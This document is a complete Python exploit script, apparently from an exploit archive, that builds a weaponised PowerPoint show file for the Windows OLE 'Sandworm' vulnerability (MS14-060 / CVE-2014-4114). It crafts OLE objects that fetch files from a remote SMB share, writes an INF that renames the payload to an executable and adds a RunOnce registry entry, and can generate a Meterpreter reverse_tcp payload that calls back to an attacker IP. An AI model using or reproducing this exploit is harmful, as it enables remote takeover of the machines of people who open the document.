Windows OLE - Remote Code Execution "Sandworm" Exploit (MS14-060)
2014-10-25 12:05:05# !/usr/bin/python
# Windows OLE RCE Exploit MS14-060 (CVE-2014-4114) � Sandworm
# Author: Mike Czumak (T_v3rn1x) - @SecuritySift
# Written: 10/21/2014
# Tested Platform(s): Windows 7 SP1 (w/ exploit script run on Kali Linux)
# You are free to reuse this code in part or in whole with the exception of commercial applications
# For a demo of this PoC, see http://www.securitysift.com/windows-ole-rce-exploit-ms14-060/
import sys, os
import zipfile
import argparse
import subprocess
from shutil import copyfile
from pptx import Presentation
# Args/Usage
def get_args():
parser = argparse.ArgumentParser( prog="ms14_060.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''This script will build a blank PowerPoint show (ppsx) file to exploit the
OLE Remote Code Execution vulnerability identified as MS14-060 (CVE-2014-4114)
Simply pass filename of resulting PPSX and IP Address of remote machine hosting the
share. You can add content to the PPSX file after it has been created.
The script will also create the INF file and an optional Meterpreter
reverse_tcp executable with the -m switch. Alternatively, you can host your own exectuble payload.
Host the INF and GIF (EXE) in an SMB share called "share".
Note: Requires python-pptx''')
parser.add_argument("filename", help="Name of resulting PPSX exploit file")
parser.add_argument("ip", help="IP Address of Remote machine hosting the share")
parser.add_argument("-m", "--msf", help="Set if you want to create Meterpreter gif executable. Pass port (uses ip arg)")
args = parser.parse_args()
return args
# write file
def write_file(filename, contents):
f = open(filename, "w")
f.write(contents)
f.close()
# build bin
def build_bin(embed, ip, share, file):
bin = "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # ole header
bin = bin + "\x00" * 16
bin = bin + "\x3E\x00\x03\x00\xFE\xFF\x09\x00"
bin = bin + "\x06\x00\x00\x00\x00\x00\x00\x00"
bin = bin + "\x00\x00\x00\x00\x01\x00\x00\x00"
bin = bin + "\x01\x00\x00\x00\x00\x00\x00\x00"
bin = bin + "\x00\x10\x00\x00\x02\x00\x00\x00"
bin = bin + "\x01\x00\x00\x00\xFE\xFF\xFF\xFF"
bin = bin + "\x00\x00\x00\x00\x00\x00\x00\x00"
bin = bin + "\xFF" * 432
bin = bin + "\xFD\xFF\xFF\xFF\xFE\xFF\xFF\xFF"
bin = bin + "\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF"
bin = bin + "\xFF" * 496
bin = bin + "\x52\x00\x6F\x00\x6F\x00\x74\x00"
bin = bin + "\x20\x00\x45\x00\x6E\x00\x74\x00"
bin = bin + "\x72\x00\x79\x00\x00\x00\x00\x00"
bin = bin + "\x00" * 40
bin = bin + "\x16\x00\x05\x00\xFF\xFF\xFF\xFF"
bin = bin + "\xFF\xFF\xFF\xFF\x01\x00\x00\x00"
bin = bin + "\x02\x26\x02\x00\x00\x00\x00\x00"
bin = bin + "\xC0\x00\x00\x00\x00\x00\x00\x46"
bin = bin + "\x00" * 12
bin = bin + "\xF0\x75\xFD\x41\x63\xB2\xCF\x01"
bin = bin + "\x03\x00\x00\x00\x40\x00\x00\x00"
bin = bin + "\x00\x00\x00\x00\x01\x00\x4F\x00"
bin = bin + "\x4C\x00\x45\x00\x31\x00\x30\x00"
bin = bin + "\x4E\x00\x61\x00\x74\x00\x69\x00"
bin = bin + "\x76\x00\x65\x00\x00\x00\x00\x00"
bin = bin + "\x00" * 36
bin = bin + "\x1A\x00\x02\x01"
bin = bin + "\xFF" * 12
bin = bin + "\x00" * 40
bin = bin + "\x37"
bin = bin + "\x00" * 75
bin = bin + "\xFF" * 12
bin = bin + "\x00" * 116
bin = bin + "\xFF" * 12
bin = bin + "\x00" * 48
bin = bin + "\xFE"
bin = bin + "\xFF" * 511
bin = bin + "\x33\x00\x00\x00" + embed + "\x00" # 3 EmbeddedStgX.txt
bin = bin + "\x5C\x5C" + ip + "\x5C" + share + "\x5C" + file # \\ip\share\file
bin = bin + "\x00" * 460
return bin
# build ppt/drawings/vmlDrawing1.vml
def build_vml():
xml = '<xml xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:p="urn:schemas-microsoft-com:office:powerpoint" xmlns:oa="urn:schemas-microsoft-com:office:activation">'
xml = xml + '<o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">'
xml = xml + '<v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/>'
xml = xml + '<v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas>'
xml = xml + '<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_s1026" type="#_x0000_t75" style="position:absolute; left:100pt;top:-100pt;width:30pt;height:30pt"><v:imagedata o:relid="rId1" o:title=""/></v:shape><v:shape id="_x0000_s1027" type="#_x0000_t75" style="position:absolute; left:150pt;top:-100pt;width:30pt;height:30pt">'
xml = xml + '<v:imagedata o:relid="rId2" o:title=""/></v:shape></xml>'
return xml
# build ppt/slides/_rels/slide1.xml.rels
def build_xml_rels(ole1, ole2):
xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml = xml + '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole1 + '"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole2 + '"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target="../drawings/vmlDrawing1.vml"/></Relationships>'
return xml
def build_xml_slide1():
xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml = xml + '<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:cSld><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="4" name="Object 3"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1270000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1026" name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="5" name="Object 4"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1905000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1027" name="Packager Shell Object" r:id="rId4" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr><p:transition><p:zoom/></p:transition><p:timing><p:tnLst><p:par><p:cTn id="1" dur="indefinite" restart="never" nodeType="tmRoot"><p:childTnLst><p:seq concurrent="1" nextAc="seek"><p:cTn id="2" dur="indefinite" nodeType="mainSeq"><p:childTnLst><p:par><p:cTn id="3" fill="hold"><p:stCondLst><p:cond delay="indefinite"/><p:cond evt="onBegin" delay="0"><p:tn val="2"/></p:cond></p:stCondLst><p:childTnLst><p:par><p:cTn id="4" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="5" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="withEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="6" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="7" fill="hold"><p:stCondLst><p:cond delay="1000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="8" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="9" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="-3"><p:cBhvr><p:cTn id="10" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="11" fill="hold"><p:stCondLst><p:cond delay="2000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="12" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="13" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="3"><p:cBhvr><p:cTn id="14" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn><p:prevCondLst><p:cond evt="onPrev" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:prevCondLst><p:nextCondLst><p:cond evt="onNext" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:nextCondLst></p:seq></p:childTnLst></p:cTn></p:par></p:tnLst></p:timing></p:sld>'
return xml
# build [Content_Types].xml
def build_xml_content_types():
xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml = xml + '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.presentationml.printerSettings"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="wmf" ContentType="image/x-wmf"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/embeddings/oleObject1.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/ppt/embeddings/oleObject2.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>'
return xml
# build remotely hosted inf file
def build_inf(gif):
exe = gif.split('.')[0] + '.exe'
inf = '[Version]\n'
inf = inf + 'Signature = "$CHICAGO$"\n'
inf = inf + 'Class=61883\n'
inf = inf + 'ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}\n'
inf = inf + 'Provider=%Microsoft%\n'
inf = inf + 'DriverVer=06/21/2006,6.1.7600.16385\n'
inf = inf + '[DestinationDirs]\n'
inf = inf + 'DefaultDestDir = 1\n'
inf = inf + '[DefaultInstall]\n'
inf = inf + 'RenFiles = RxRename\n'
inf = inf + 'AddReg = RxStart\n'
inf = inf + '[RxRename]\n'
inf = inf + exe + ', ' + gif + '\n'
inf = inf + '[RxStart]\n'
inf = inf + 'HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\' + exe
return inf
# build blank pptx file with python-pptx
def build_presentation(filename):
prs = Presentation()
slide_layout = prs.slide_layouts[6] # blank slide
slide = prs.slides.add_slide(slide_layout)
prs.save(filename)
return
# build metasploit meterpreter reverse_tcp payload
def build_msfpayload(ip, port, file):
cmd = 'msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s' % (ip, port, file)
run_cmd= subprocess.check_output(cmd, shell=True)
subprocess.call(run_cmd, shell=True)
print '[*] Meterpreter Reverse TCP EXE [%s] created.' % (file)
#################################################
############### Main ###############
#################################################
def main():
print '============================================================================='
print '| PowerPoint OLE Remote Code Execution (MS14-060 | CVE-2014-4114) |'
print '| Author: Mike Czumak (T_v3rn1x) - @SecuritySift |'
print '=============================================================================\n'
args = get_args() # get the cl args
ip = args.ip
share = "share"
ole1 = "oleObject1.bin"
ole2 = "oleObject2.bin"
vml = "vmlDrawing1.vml"
pptx = "tmp.pptx"
gif = "slide1.gif"
inf = "slides.inf"
# build meterpreter reverse tcp gif file (optional)
if args.msf:
print "[i] Building metasploit reverse_tcp executable"
build_msfpayload(args.ip, args.msf, gif)
# build the bin, inf and vml files
gif_bin = build_bin("EmbeddedStg1.txt", ip, share, gif)
inf_bin = build_bin("EmbeddedStg2.txt", ip, share, inf)
draw_vml = build_vml()
rem_inf = build_inf(gif)
write_file(inf, rem_inf)
print ("[*] INF file [%s] created " % inf)
# build the xml files
xml_rel = build_xml_rels(ole1, ole2)
xml_slide1 = build_xml_slide1()
xml_content = build_xml_content_types()
# build blank temp pptx presentation to convert to ppsx
build_presentation(pptx)
zippptx = pptx + ".zip"
os.rename(pptx, zippptx) # rename to zip for modification
# open temp pptx and a copy for modification
zin = zipfile.ZipFile(zippptx, 'r')
zippptx_copy = "copy_" + zippptx
zout = zipfile.ZipFile(zippptx_copy, "w")
# modify the pptx template with exploit
for item in zin.infolist():
if (item.filename == "ppt/slides/slide1.xml"):
zout.writestr(item, xml_slide1) # replace slide 1 contents
elif (item.filename == "ppt/slides/_rels/slide1.xml.rels"):
zout.writestr(item, xml_rel) # replace slide 1 rels
elif (item.filename == "[Content_Types].xml"):
zout.writestr(item, xml_content) # replace content_types
else:
buffer = zin.read(item.filename)
zout.writestr(item,buffer) # use existing file
zout.writestr("ppt/embeddings/" + ole1, gif_bin)
zout.writestr("ppt/embeddings/"+ole2, inf_bin)
zout.writestr("ppt/drawings/vmlDrawing1.vml", draw_vml)
zout.close()
zin.close()
# convert to ppsx
os.rename(zippptx_copy, args.filename)
os.remove(zippptx)
print ("[*] Exploit PPSX file [%s] created" % (args.filename))
print ("[i] Place INF and GIF (EXE) payload file (called %s) in an SMB share called 'share'" % (gif))
if __name__ == '__main__':
main()
Fixes
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